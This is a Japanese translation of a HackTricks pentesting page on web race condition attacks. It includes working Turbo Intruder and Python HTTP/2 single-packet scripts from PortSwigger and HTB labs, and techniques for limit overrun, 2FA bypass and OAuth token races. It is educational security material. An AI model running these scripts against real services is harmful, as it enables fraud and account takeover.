Race Condition

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:

HackTricksをサポートする

この技術を深く理解するには、https://portswigger.net/research/smashing-the-state-machineの元のレポートを確認してください。

レースコンディション攻撃の強化

レースコンディションを利用する際の主な障害は、処理時間にほとんど差がない状態で、複数のリクエストが同時に処理されることを確実にすること—理想的には1ms未満です。

ここでは、リクエストを同期させるためのいくつかの技術を紹介します:

HTTP/2シングルパケット攻撃対HTTP/1.1ラストバイト同期

  • HTTP/2:単一のTCP接続で2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。

  • HTTP/1.1 'ラストバイト同期':20-30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持して一緒に送信することで、サーバーへの同時到着を実現します。

ラストバイト同期の準備には以下が含まれます:

  1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します。

  2. 初回送信後に100ms待機します。

  3. TCP_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します。

  4. 接続を温めるためにピングを送信します。

保持されたフレームのその後の送信は、Wiresharkで確認できる単一のパケットで到着するはずです。この方法は、RC攻撃に通常関与しない静的ファイルには適用されません。

サーバーアーキテクチャへの適応

ターゲットのアーキテクチャを理解することは重要です。フロントエンドサーバーはリクエストを異なる方法でルーティングする可能性があり、タイミングに影響を与えます。無関係なリクエストを通じてサーバー側の接続を事前に温めることで、リクエストのタイミングを正規化できるかもしれません。

セッションベースのロックの処理

PHPのセッションハンドラーのようなフレームワークは、セッションごとにリクエストをシリアライズし、脆弱性を隠す可能性があります。各リクエストに異なるセッショントークンを使用することで、この問題を回避できます。

レートまたはリソース制限の克服

接続の温めが効果的でない場合、ダミーリクエストの洪水を通じてウェブサーバーのレートまたはリソース制限の遅延を意図的に引き起こすことで、レースコンディションに適したサーバー側の遅延を誘発し、シングルパケット攻撃を促進できるかもしれません。

攻撃の例

  • Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント):リクエストをTurbo intruderに送信できます(Extensions -> Turbo Intruder -> Send to Turbo Intruder)。リクエスト内の**%sの値をブルートフォースしたい値に変更できます。例えば、csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%sのように。そして、ドロップダウンからexamples/race-single-packer-attack.py**を選択します:

異なる値を送信する場合は、クリップボードからのワードリストを使用するこのコードで変更できます:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、Engine.BURP2の代わりにEngine.THREADEDまたはEngine.BURPを使用してください。

  • Tubo Intruder - HTTP2シングルパケット攻撃(複数のエンドポイント): 1つのエンドポイントにリクエストを送信し、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送信する必要がある場合は、race-single-packet-attack.pyスクリプトを次のように変更できます:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Repeaterでも、Burp Suiteの新しい「Send group in parallel」オプションを使用できます。

  • limit-overrunの場合、グループに同じリクエストを50回追加するだけで済みます。

  • connection warmingのために、グループ最初にウェブサーバーの非静的部分へのリクエスト追加することができます。

  • delayingプロセスの一つのリクエストと別のリクエストの間の処理において、2つのサブステートステップで、両方のリクエストの間に追加のリクエストを追加することができます。

  • multi-endpoint RCの場合、隠れた状態に送信されるリクエストを最初に送信し、その後に隠れた状態を悪用する50のリクエストを送信することができます。

  • 自動化されたPythonスクリプト: このスクリプトの目的は、ユーザーのメールを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することです(これは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信されることが可能でした。なぜなら、メールを示す変数が最初のもので既に populated されていたからです)。 「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

シングルパケット攻撃の改善

元の研究では、この攻撃には1,500バイトの制限があると説明されています。しかし、この投稿では、IPレイヤーのフラグメンテーションを使用してシングルパケット攻撃の1,500バイトの制限をTCPの65,535 Bウィンドウ制限に拡張する方法が説明されています(単一のパケットを複数のIPパケットに分割し、異なる順序で送信することで、すべてのフラグメントがサーバーに到達するまでパケットの再構成を防ぐことができます)。この技術により、研究者は約166msで10,000リクエストを送信することができました。

この改善により、同時に到着する必要がある数百/数千のパケットを必要とするRC攻撃において、攻撃がより信頼性の高いものになる一方で、いくつかのソフトウェア制限がある可能性があることに注意してください。Apache、Nginx、Goなどの人気のあるHTTPサーバーには、SETTINGS_MAX_CONCURRENT_STREAMSの設定がそれぞれ100、128、250に厳格に制限されています。しかし、NodeJSやnghttp2のような他のものは無制限です。 これは基本的に、Apacheが単一のTCP接続から100のHTTP接続のみを考慮することを意味し(このRC攻撃を制限します)。

この技術を使用したいくつかの例は、リポジトリhttps://github.com/Ry0taK/first-sequence-sync/tree/mainで見つけることができます。

生のBF

前の研究の前に、RCを引き起こすためにパケットをできるだけ早く送信しようとしたいくつかのペイロードがありました。

  • リピーター: 前のセクションの例を確認してください。

  • 侵入者: リクエスト侵入者に送信し、オプションメニュー内でスレッド数30に設定し、ペイロードとしてヌルペイロードを選択し、30を生成します。

  • ターボ侵入者

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

これは、アクションを実行できる回数を制限する場所に現れる 脆弱性の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例はこのレポートこのバグに見られます。

この種の攻撃には多くのバリエーションがあります。例えば:

  • ギフトカードを複数回利用する

  • 商品を複数回評価する

  • アカウント残高を超えて現金を引き出したり転送したりする

  • 単一のCAPTCHA解決策を再利用する

  • ブルートフォース対策のレート制限を回避する

Hidden substates

複雑なレースコンディションを悪用することは、隠れたまたは意図しないマシンのサブステートと相互作用するための短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです:

  1. 潜在的な隠れたサブステートを特定する

  • ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定します。以下に焦点を当てます:

  • ストレージ:サーバー側の永続データを操作するエンドポイントを、クライアント側のデータを扱うものよりも優先します。

  • アクション:既存のデータを変更する操作を探します。これは新しいデータを追加するものよりも悪用可能な条件を作成する可能性が高いです。

  • キー:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます。

  1. 初期プロービングを実施する

  • 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります。

  1. 脆弱性を示す

  • 脆弱性を悪用するために必要な最小限のリクエスト数に攻撃を絞り込みます。通常は2回です。このステップでは、正確なタイミングが関与するため、複数回の試行や自動化が必要になることがあります。

時間に敏感な攻撃

リクエストのタイミングの精度は脆弱性を明らかにすることができ、特にタイムスタンプのような予測可能な方法がセキュリティトークンに使用される場合に顕著です。例えば、タイムスタンプに基づいてパスワードリセットトークンを生成すると、同時リクエストに対して同一のトークンが生成される可能性があります。

悪用するには:

  • 単一パケット攻撃のような正確なタイミングを使用して、同時にパスワードリセットリクエストを行います。同一のトークンは脆弱性を示します。

例:

  • 同時に2つのパスワードリセットトークンをリクエストし、それらを比較します。一致するトークンはトークン生成に欠陥があることを示唆します。

これを試すには PortSwigger Lab をチェックしてください。

隠れたサブステートのケーススタディ

支払いとアイテムの追加

このPortSwigger Labをチェックして、支払いを行い、追加のアイテムを支払わずに追加する方法を確認してください。

他のメールの確認

アイデアは、メールアドレスを確認し、同時に別のものに変更することで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。

2つのメールアドレスへのメール変更(クッキーに基づく)

この研究によると、Gitlabはこの方法で乗っ取られる脆弱性があり、1つのメールの メール確認トークンを他のメールに送信する可能性があります。

これを試すには PortSwigger Lab をチェックしてください。

隠れたデータベースの状態 / 確認バイパス

2つの異なる書き込みデータベース内に情報を追加するために使用される場合、最初のデータのみがデータベースに書き込まれた小さな時間の部分があります。例えば、ユーザーを作成する際に、ユーザー名パスワード書き込まれ新しく作成されたアカウントを確認するためのトークンが書き込まれます。これは、短い時間の間、アカウントを確認するためのトークンがnullであることを意味します。

したがって、アカウントを登録し、空のトークンtoken=またはtoken[]=または他のバリエーション)で確認するために複数のリクエストを送信することで、メールを制御していないアカウントを確認することができる可能性があります。

これを試すには PortSwigger Lab をチェックしてください。

2FAのバイパス

以下の擬似コードは、セッションが作成されている間に2FAが強制されていない非常に短い時間があるため、レースコンディションに脆弱です:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 永続的な持続性

いくつかの OAUth プロバイダー があります。これらのサービスは、アプリケーションを作成し、プロバイダーが登録したユーザーを認証することを可能にします。そのためには、クライアントあなたのアプリケーションOAUth プロバイダー内のデータにアクセスすることを許可する必要があります。 ここまで、google/linkedin/githubなどの一般的なログインで、"アプリケーション <InsertCoolName> があなたの情報にアクセスしたいとしています。許可しますか?"というページが表示されます。

authorization_code におけるレースコンディション

問題は、あなたがそれを受け入れると、自動的に悪意のあるアプリケーションに**authorization_codeが送信されるときに発生します。その後、このアプリケーションは OAUth サービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**authorization_codeから複数の AT/RT (認証トークン/リフレッシュトークン) を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して、複数のアカウントを作成します。その後、あなたがアプリケーションにデータへのアクセスを許可しなくなると、1対の AT/RT が削除されますが、他のものはまだ有効です

Refresh Token におけるレースコンディション

一度有効な RT取得すると、複数の AT/RT を生成するためにそれを悪用しようとすることができます。さらに、ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、複数の RT はまだ有効です

WebSockets における RC

WS_RaceCondition_PoC では、レースコンディションを Web ソケットでも悪用するために、並行して WebSocket メッセージを送信するJava の PoC を見つけることができます。

参考文献

HackTricks をサポートする

Trickest を使用して、世界で最も高度なコミュニティツールによってワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:

Last updated